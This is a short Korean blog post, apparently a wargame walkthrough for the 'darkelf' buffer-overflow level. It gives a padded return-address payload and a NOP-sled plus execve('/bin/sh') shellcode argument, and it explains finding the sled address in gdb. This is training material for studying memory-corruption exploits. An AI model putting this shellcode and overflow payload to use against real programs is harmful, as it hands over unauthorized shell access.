darkelf 문제이다
argv[1] 길이의 값을 48보다 작게 하라는건
$(python -c 'print "A"*44+"\xea\xfb\xff\xbf"')
첫번째 argv[1] 의 길이는 buffer 를 채울 44바이트 + eip 주소를 나타낼수있는 4바이트가 최대 설정 범위라는 소리이다
이제 쓸수 있는 주소를 찾아야하는데 argv[2]가 아직 살아있으니 argv[2] 에 쉘코드를 올리고 사용할 수 있다.
$(python -c 'print "\x90"*1000+"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8d\x0c\x24\xcd\x80"')
인자를 3개 이상 줄 경우에는 16바이트씩 교정하는 과정이 힘들기 때문에 nop코드를 많이 넣어서 풀어야한다.
gdb에서 확인하면
2번째 인자인 0xbffff84a 의 값을 확인하면
nop 사이에 쉘코드가 올라간걸 확인 할 수있다 적당한 주소를 잡아서 eip에 올려주면 값이 출력된다
'WARGAME > BOF' 카테고리의 다른 글
[BOF] orge->troll (0) | 2018.02.20 |
---|---|
[BOF] darkelf->orge (0) | 2018.02.19 |
[BOF] Orc->wolfman (0) | 2018.02.08 |
[BOF] Goblin-> orc (0) | 2018.02.08 |
[BOF] cobolt-> Goblin (0) | 2018.02.08 |